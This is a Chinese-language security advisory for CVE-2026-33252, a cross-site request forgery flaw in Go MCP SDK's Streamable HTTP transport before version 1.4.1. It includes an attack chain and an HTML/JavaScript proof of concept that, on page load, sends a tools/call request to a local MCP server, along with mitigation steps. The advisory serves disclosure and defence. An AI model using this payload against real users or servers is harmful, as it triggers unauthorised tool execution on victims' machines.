IPBUF安全漏洞报告
English
CVE-2026-33252 CVSS 7.1 高危

CVE-2026-33252 Go MCP SDK跨站请求伪造漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33252
漏洞类型
CSRF (跨站请求伪造)
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Go MCP SDK

相关标签

CSRFGo MCP SDK远程代码执行CVE-2026-33252

漏洞概述

Go MCP SDK 在 1.4.1 版本之前的 Streamable HTTP 传输实现中存在安全缺陷。该组件未对请求的 Origin 头进行验证,也未强制要求 Content-Type 为 application/json。在未配置授权的无状态或无会话部署环境中,该漏洞允许恶意网站诱导浏览器向本地 MCP 服务器发送跨域 POST 请求。攻击者利用此漏洞可触发服务器端的工具执行,从而对系统完整性造成严重影响。

技术细节

该漏洞源于 Go MCP SDK 对 HTTP 请求的校验机制缺失。受影响的 SDK 版本使用了 Go 标准库 encoding/json 处理数据,但在 Streamable HTTP 接口处未实施 CORS(跨域资源共享)保护。攻击者可构造恶意 HTML 页面,利用 JavaScript 向受害者本地运行的 MCP 服务端(如 localhost)发送 POST 请求。由于服务端不验证 Origin 且不严格限制 Content-Type,浏览器会自动携带 Cookie(如果有)发送请求。服务端接收到请求后,将其解析为合法的 MCP 指令并执行指定的工具操作。这可能导致攻击者在受害者本地环境执行任意命令,破坏系统完整性(I:H)并可能影响可用性(A:L)。

攻击链分析

STEP 1
步骤1
攻击者构造包含恶意脚本的HTML页面,脚本指向本地MCP服务端地址。
STEP 2
步骤2
诱导受害者访问该恶意页面,浏览器解析并执行JavaScript代码。
STEP 3
步骤3
浏览器向受害者本地的MCP服务端发起跨域POST请求,携带恶意JSON数据。
STEP 4
步骤4
MCP服务端接收请求,因缺少Origin校验和认证,解析数据并执行指定的工具操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-33252: CSRF to trigger tool execution --> <html> <body> <script> function exploit() { const payload = JSON.stringify({ jsonrpc: "2.0", method: "tools/call", params: { name: "example_tool", arguments: { "command": "malicious_command" } }, id: 1 }); // Send request to local MCP server fetch('http://127.0.0.1:3000/mcp', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: payload }).then(response => console.log("Request sent")) .catch(error => console.error("Error", error)); } // Auto-trigger on load window.onload = exploit; </script> </body> </html>

影响范围

Go MCP SDK < 1.4.1

防御指南

临时缓解措施
建议立即升级至修复版本。如果无法立即升级,请确保 MCP 服务仅在可信的网络接口监听,不要暴露在公网或不可信的网络环境中。务必开启认证功能,防止未授权访问。同时,可以在服务端前置网关处实施严格的 CORS 策略,拦截来源不明的跨域请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表